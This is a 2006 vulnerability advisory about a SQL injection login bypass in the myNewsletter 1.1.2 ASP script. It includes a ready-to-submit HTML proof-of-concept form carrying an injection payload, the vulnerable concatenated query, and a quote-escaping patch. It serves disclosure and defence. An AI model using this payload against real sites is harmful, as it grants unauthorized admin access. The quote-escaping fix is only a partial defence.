myNewsletter 1.1.2 SQL

[KAPDA::#47] - myNewsletter 1.1.2 SQL_Injection

SQL_Injection

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KAPDA New advisory

Vulnerable products : myNewsletter <= 1.1.2

Vendor: http://www.aspburst.com/index.asp

Risk: Medium

Vulnerability: SQL_Injection

Date :

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Found : 2006/06/05

Vendor Contacted : 2006/06/06

Release Date : 2006/06/06

Discussion :

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At parameter named 'UserName' in "validatelogin.asp" or "adminlogin.asp", Attacker can enter SQL command to login to the system.

Proof of Concepts:

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<html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change action in source and then submit

</center><form name="adminLogin" method="post" action="http://www.site.com/newsletter/adminLogin.asp">

<input type="hidden" name="UserName" value="<!--'union select 1 from Newsletter_Admin where ''='">

<input type="hidden" name="Password" value="1">

<center><br><input type="submit" name="Submit" value="Login"></center><br><br>

<!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net -->

<center><a href="http://www.kapda.ir">www.kapda.ir</a></center>

</form>

</html>

Solution:

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Nothing yet by vendor .

Our solution :

in 'validatelogin.asp' :

function validateLogin(theUserName, thePassword)

sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"

change to this :

function validateLogin(theUserName, thePassword)

theUserName = replace(theUserName,"'","''")

sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"

Original Advisory:

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http://www.kapda.ir/advisory-340.html

Credit :

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FarhadKey of KAPDA

farhadkey [at} kapda {d0t} net

Kapda - Security Science Researchers Insitute of Iran

http://www.KAPDA.ir